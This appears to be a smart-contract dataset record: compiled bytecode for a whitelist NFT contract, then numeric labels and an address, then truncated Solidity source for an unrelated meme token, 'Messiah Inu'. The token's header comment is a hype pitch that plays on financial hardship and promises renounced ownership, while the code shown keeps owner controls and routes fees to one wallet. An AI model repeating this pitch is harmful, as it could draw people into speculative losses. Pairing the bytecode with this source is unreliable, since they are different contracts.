0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063b391c50811610097578063c87b56dd11610071578063c87b56dd14610480578063d5abeb01146104b0578063e985e9c5146104ce578063f2fde38b146104fe576101a9565b8063b391c5081461042a578063b88d4fde14610446578063c4e41b2214610462576101a9565b80638da5cb5b116100d35780638da5cb5b146103c857806395d89b41146103e6578063989bdbb614610404578063a22cb4651461040e576101a9565b806370a0823114610372578063715018a6146103a25780637cb64759146103ac576101a9565b806323b872dd1161016657806342842e0e1161014057806342842e0e146102ee578063434f48c41461030a57806355f804b3146103265780636352211e14610342576101a9565b806323b872dd1461028457806325656307146102a05780632eb4a7ab146102d0576101a9565b806301ffc9a7146101ae57806306fdde03146101de578063081812fc146101fc578063095ea7b31461022c57806318160ddd1461024857806320fb9e8a14610266575b600080fd5b6101c860048036038101906101c39190612ab3565b61051a565b6040516101d59190612df1565b60405180910390f35b6101e66105fc565b6040516101f39190612e27565b60405180910390f35b61021660048036038101906102119190612b56565b61068e565b6040516102239190612d8a565b60405180910390f35b610246600480360381019061024191906129f9565b61070a565b005b610250610815565b60405161025d9190612f09565b60405180910390f35b61026e61082c565b60405161027b9190612df1565b60405180910390f35b61029e600480360381019061029991906128e3565b61083f565b005b6102ba60048036038101906102b59190612876565b61084f565b6040516102c79190612f09565b60405180910390f35b6102d8610867565b6040516102e59190612e0c565b60405180910390f35b610308600480360381019061030391906128e3565b61086d565b005b610324600480360381019061031f9190612b56565b61088d565b005b610340600480360381019061033b9190612b0d565b61096c565b005b61035c60048036038101906103579190612b56565b610a52565b6040516103699190612d8a565b60405180910390f35b61038c60048036038101906103879190612876565b610a68565b6040516103999190612f09565b60405180910390f35b6103aa610b38565b005b6103c660048036038101906103c19190612a86565b610bc0565b005b6103d0610c46565b6040516103dd9190612d8a565b60405180910390f35b6103ee610c70565b6040516103fb9190612e27565b60405180910390f35b61040c610d02565b005b610428600480360381019061042391906129b9565b610d9b565b005b610444600480360381019061043f9190612a39565b610f13565b005b610460600480360381019061045b9190612936565b6110ad565b005b61046a611129565b6040516104779190612f09565b60405180910390f35b61049a60048036038101906104959190612b56565b611138565b6040516104a79190612e27565b60405180910390f35b6104b86111d7565b6040516104c59190612f09565b60405180910390f35b6104e860048036038101906104e391906128a3565b6111e0565b6040516104f59190612df1565b60405180910390f35b61051860048036038101906105139190612876565b611274565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105e557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806105f557506105f48261136c565b5b9050919050565b60606002805461060b90613169565b80601f016020809104026020016040519081016040528092919081815260200182805461063790613169565b80156106845780601f1061065957610100808354040283529160200191610684565b820191906000526020600020905b81548152906001019060200180831161066757829003601f168201915b5050505050905090565b6000610699826113d6565b6106cf576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061071582610a52565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561077d576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661079c611424565b73ffffffffffffffffffffffffffffffffffffffff16141580156107ce57506107cc816107c7611424565b6111e0565b155b15610805576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61081083838361142c565b505050565b600061081f6114de565b6001546000540303905090565b600b60009054906101000a900460ff1681565b61084a8383836114e3565b505050565b60096020528060005260406000206000915090505481565b600a5481565b610888838383604051806020016040528060008152506110ad565b505050565b610895611424565b73ffffffffffffffffffffffffffffffffffffffff166108b3610c46565b73ffffffffffffffffffffffffffffffffffffffff1614610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090090612ec9565b60405180910390fd5b606f81610914610815565b61091e9190612fee565b111561095f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095690612e89565b60405180910390fd5b61096933826119d4565b50565b610974611424565b73ffffffffffffffffffffffffffffffffffffffff16610992610c46565b73ffffffffffffffffffffffffffffffffffffffff16146109e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109df90612ec9565b60405180910390fd5b600b60009054906101000a900460ff1615610a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2f90612e69565b60405180910390fd5b80600c9080519060200190610a4e9291906125dc565b5050565b6000610a5d826119f2565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad0576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b610b40611424565b73ffffffffffffffffffffffffffffffffffffffff16610b5e610c46565b73ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90612ec9565b60405180910390fd5b610bbe6000611c81565b565b610bc8611424565b73ffffffffffffffffffffffffffffffffffffffff16610be6610c46565b73ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612ec9565b60405180910390fd5b80600a8190555050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c7f90613169565b80601f0160208091040260200160405190810160405280929190818152602001828054610cab90613169565b8015610cf85780601f10610ccd57610100808354040283529160200191610cf8565b820191906000526020600020905b815481529060010190602001808311610cdb57829003601f168201915b5050505050905090565b610d0a611424565b73ffffffffffffffffffffffffffffffffffffffff16610d28610c46565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590612ec9565b60405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b610da3611424565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e08576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060076000610e15611424565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610ec2611424565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610f079190612df1565b60405180910390a35050565b8181610f23338383600a54611d47565b610f62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5990612ee9565b60405180910390fd5b606f6001610f6e610815565b610f789190612fee565b1115610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb090612e89565b60405180910390fd5b600180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110069190612fee565b1115611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e90612ea9565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611097906131cc565b91905055506110a73360016119d4565b50505050565b6110b88484846114e3565b6110d78373ffffffffffffffffffffffffffffffffffffffff16611da7565b80156110ec57506110ea84848484611dca565b155b15611123576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b6000611133610815565b905090565b6060611143826113d6565b611179576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611183611f2a565b90506000815114156111a457604051806020016040528060008152506111cf565b806111ae84611fbc565b6040516020016111bf929190612d66565b6040516020818303038152906040525b915050919050565b6000606f905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61127c611424565b73ffffffffffffffffffffffffffffffffffffffff1661129a610c46565b73ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612ec9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612e49565b60405180910390fd5b61136981611c81565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000816113e16114de565b111580156113f0575060005482105b801561141d575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600090565b60006114ee826119f2565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611515611424565b73ffffffffffffffffffffffffffffffffffffffff16148061154857506115478260000151611542611424565b6111e0565b5b8061158d5750611556611424565b73ffffffffffffffffffffffffffffffffffffffff166115758461068e565b73ffffffffffffffffffffffffffffffffffffffff16145b9050806115c6576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff161461162f576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611696576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6116a3858585600161211d565b6116b3600084846000015161142c565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836004600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611964576000548110156119635782600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46119cd8585856001612123565b5050505050565b6119ee828260405180602001604052806000815250612129565b5050565b6119fa612662565b600082905080611a086114de565b11158015611a17575060005481105b15611c4a576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151611c4857600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611b2c578092505050611c7c565b5b600115611c4757818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611c42578092505050611c7c565b611b2d565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611d9d848480806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505083611d988861213b565b61216b565b9050949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611df0611424565b8786866040518563ffffffff1660e01b8152600401611e129493929190612da5565b602060405180830381600087803b158015611e2c57600080fd5b505af1925050508015611e5d57506040513d601f19601f82011682018060405250810190611e5a9190612ae0565b60015b611ed7573d8060008114611e8d576040519150601f19603f3d011682016040523d82523d6000602084013e611e92565b606091505b50600081511415611ecf576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b6060600c8054611f3990613169565b80601f0160208091040260200160405190810160405280929190818152602001828054611f6590613169565b8015611fb25780601f10611f8757610100808354040283529160200191611fb2565b820191906000526020600020905b815481529060010190602001808311611f9557829003601f168201915b5050505050905090565b60606000821415612004576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612118565b600082905060005b6000821461203657808061201f906131cc565b915050600a8261202f9190613044565b915061200c565b60008167ffffffffffffffff81111561205257612051613326565b5b6040519080825280601f01601f1916602001820160405280156120845781602001600182028036833780820191505090505b5090505b600085146121115760018261209d9190613075565b9150600a856120ac9190613239565b60306120b89190612fee565b60f81b8183815181106120ce576120cd6132f7565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561210a9190613044565b9450612088565b8093505050505b919050565b50505050565b50505050565b6121368383836001612182565b505050565b60008160405160200161214e9190612d4b565b604051602081830303815290604052805190602001209050919050565b6000826121788584612550565b1490509392505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156121ef576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600084141561222a576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b612237600086838761211d565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008190506000858201905083801561240157506124008773ffffffffffffffffffffffffffffffffffffffff16611da7565b5b156124c7575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46124766000888480600101955088611dca565b6124ac576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b808214156124075782600054146124c257600080fd5b612533565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4808214156124c8575b8160008190555050506125496000868387612123565b5050505050565b60008082905060005b84518110156125ba576000858281518110612577576125766132f7565b5b602002602001015190508083116125995761259283826125c5565b92506125a6565b6125a381846125c5565b92505b5080806125b2906131cc565b915050612559565b508091505092915050565b600082600052816020526040600020905092915050565b8280546125e890613169565b90600052602060002090601f01602090048101928261260a5760008555612651565b82601f1061262357805160ff1916838001178555612651565b82800160010185558215612651579182015b82811115612650578251825591602001919060010190612635565b5b50905061265e91906126a5565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b808211156126be5760008160009055506001016126a6565b5090565b60006126d56126d084612f49565b612f24565b9050828152602081018484840111156126f1576126f0613364565b5b6126fc848285613127565b509392505050565b600061271761271284612f7a565b612f24565b90508281526020810184848401111561273357612732613364565b5b61273e848285613127565b509392505050565b600081359050612755816134ad565b92915050565b60008083601f8401126127715761277061335a565b5b8235905067ffffffffffffffff81111561278e5761278d613355565b5b6020830191508360208202830111156127aa576127a961335f565b5b9250929050565b6000813590506127c0816134c4565b92915050565b6000813590506127d5816134db565b92915050565b6000813590506127ea816134f2565b92915050565b6000815190506127ff816134f2565b92915050565b600082601f83011261281a5761281961335a565b5b813561282a8482602086016126c2565b91505092915050565b600082601f8301126128485761284761335a565b5b8135612858848260208601612704565b91505092915050565b60008135905061287081613509565b92915050565b60006020828403121561288c5761288b61336e565b5b600061289a84828501612746565b91505092915050565b600080604083850312156128ba576128b961336e565b5b60006128c885828601612746565b92505060206128d985828601612746565b9150509250929050565b6000806000606084860312156128fc576128fb61336e565b5b600061290a86828701612746565b935050602061291b86828701612746565b925050604061292c86828701612861565b9150509250925092565b600080600080608085870312156129505761294f61336e565b5b600061295e87828801612746565b945050602061296f87828801612746565b935050604061298087828801612861565b925050606085013567ffffffffffffffff8111156129a1576129a0613369565b5b6129ad87828801612805565b91505092959194509250565b600080604083850312156129d0576129cf61336e565b5b60006129de85828601612746565b92505060206129ef858286016127b1565b9150509250929050565b60008060408385031215612a1057612a0f61336e565b5b6000612a1e85828601612746565b9250506020612a2f85828601612861565b9150509250929050565b60008060208385031215612a5057612a4f61336e565b5b600083013567ffffffffffffffff811115612a6e57612a6d613369565b5b612a7a8582860161275b565b92509250509250929050565b600060208284031215612a9c57612a9b61336e565b5b6000612aaa848285016127c6565b91505092915050565b600060208284031215612ac957612ac861336e565b5b6000612ad7848285016127db565b91505092915050565b600060208284031215612af657612af561336e565b5b6000612b04848285016127f0565b91505092915050565b600060208284031215612b2357612b2261336e565b5b600082013567ffffffffffffffff811115612b4157612b40613369565b5b612b4d84828501612833565b91505092915050565b600060208284031215612b6c57612b6b61336e565b5b6000612b7a84828501612861565b91505092915050565b612b8c816130a9565b82525050565b612ba3612b9e826130a9565b613215565b82525050565b612bb2816130bb565b82525050565b612bc1816130c7565b82525050565b6000612bd282612fab565b612bdc8185612fc1565b9350612bec818560208601613136565b612bf581613373565b840191505092915050565b6000612c0b82612fb6565b612c158185612fd2565b9350612c25818560208601613136565b612c2e81613373565b840191505092915050565b6000612c4482612fb6565b612c4e8185612fe3565b9350612c5e818560208601613136565b80840191505092915050565b6000612c77602683612fd2565b9150612c8282613391565b604082019050919050565b6000612c9a600f83612fd2565b9150612ca5826133e0565b602082019050919050565b6000612cbd601283612fd2565b9150612cc882613409565b602082019050919050565b6000612ce0600883612fd2565b9150612ceb82613432565b602082019050919050565b6000612d03602083612fd2565b9150612d0e8261345b565b602082019050919050565b6000612d26600f83612fd2565b9150612d3182613484565b602082019050919050565b612d458161311d565b82525050565b6000612d578284612b92565b60148201915081905092915050565b6000612d728285612c39565b9150612d7e8284612c39565b91508190509392505050565b6000602082019050612d9f6000830184612b83565b92915050565b6000608082019050612dba6000830187612b83565b612dc76020830186612b83565b612dd46040830185612d3c565b8181036060830152612de68184612bc7565b905095945050505050565b6000602082019050612e066000830184612ba9565b92915050565b6000602082019050612e216000830184612bb8565b92915050565b60006020820190508181036000830152612e418184612c00565b905092915050565b60006020820190508181036000830152612e6281612c6a565b9050919050565b60006020820190508181036000830152612e8281612c8d565b9050919050565b60006020820190508181036000830152612ea281612cb0565b9050919050565b60006020820190508181036000830152612ec281612cd3565b9050919050565b60006020820190508181036000830152612ee281612cf6565b9050919050565b60006020820190508181036000830152612f0281612d19565b9050919050565b6000602082019050612f1e6000830184612d3c565b92915050565b6000612f2e612f3f565b9050612f3a828261319b565b919050565b6000604051905090565b600067ffffffffffffffff821115612f6457612f63613326565b5b612f6d82613373565b9050602081019050919050565b600067ffffffffffffffff821115612f9557612f94613326565b5b612f9e82613373565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612ff98261311d565b91506130048361311d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130395761303861326a565b5b828201905092915050565b600061304f8261311d565b915061305a8361311d565b92508261306a57613069613299565b5b828204905092915050565b60006130808261311d565b915061308b8361311d565b92508282101561309e5761309d61326a565b5b828203905092915050565b60006130b4826130fd565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613154578082015181840152602081019050613139565b83811115613163576000848401525b50505050565b6000600282049050600182168061318157607f821691505b60208210811415613195576131946132c8565b5b50919050565b6131a482613373565b810181811067ffffffffffffffff821117156131c3576131c2613326565b5b80604052505050565b60006131d78261311d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320a5761320961326a565b5b600182019050919050565b600061322082613227565b9050919050565b600061323282613384565b9050919050565b60006132448261311d565b915061324f8361311d565b92508261325f5761325e613299565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4d455441444154415f4c4f434b45440000000000000000000000000000000000600082015250565b7f455843454544535f4d41585f535550504c590000000000000000000000000000600082015250565b7f4d41585f4d494e54000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e4f545f57484954454c49535445440000000000000000000000000000000000600082015250565b6134b6816130a9565b81146134c157600080fd5b50565b6134cd816130bb565b81146134d857600080fd5b50565b6134e4816130c7565b81146134ef57600080fd5b50565b6134fb816130d1565b811461350657600080fd5b50565b6135128161311d565b811461351d57600080fd5b5056fea2646970667358221220a2a3ea1f7cd673d069e98a90224a9c95d821646fc07becef40e386aa8e59a2f764736f6c63430008070033
[ 7, 5 ]
0xf39938e910e49747952226ed5c269537cdf654d0
// SPDX-License-Identifier: Unlicensed /** ▄█░ █▀▀▀ █▀▀█ █▀▀█ █▀▀▄ █▀▀█ ░▀░ █▀▀ █░░█ ░█░ █░▀█ █░░█ █░░█ █░░█ █▄▄▀ ▀█▀ █░░ █▀▀█ ▄█▄ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀░░▀ ▀░▀▀ ▀▀▀ ▀▀▀ ▀░░▀ Crypto Messiah Memes flood twitter as a New Age begins. He's also seen the whole dog-related minicoin boom. Please, let's shout Messiah It’s - when can I pay of my parents mortage as they both sick. It’s - when can I pay off my mortgage. It’s - when can I stop working 16hr shifts & do something easier It hasn’t happened yet but I’m hopeful. Next Messiah lol? Here comes the opportunity, please let $Messiah lead us to realize our dream together. Our goals are the same. We will lock liquidity and renounce ownership immediately. Total: 555,555,555,555 Liquidity: 5 Max buy: 5,555,555,555 Burn: 55,555,555,555 **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MESSIAH is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Messiah Inu"; string private constant _symbol = "MESSIAH"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 555555555555 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc8f3C8b187a0d34c22c22C322c6B11Ed221AFc33); address payable private _marketingAddress = payable(0xc8f3C8b187a0d34c22c22C322c6B11Ed221AFc33); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5555555555 * 10**9; uint256 public _maxWalletSize = 5555555555 * 10**9; uint256 public _swapTokensAtAmount = 55555 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } 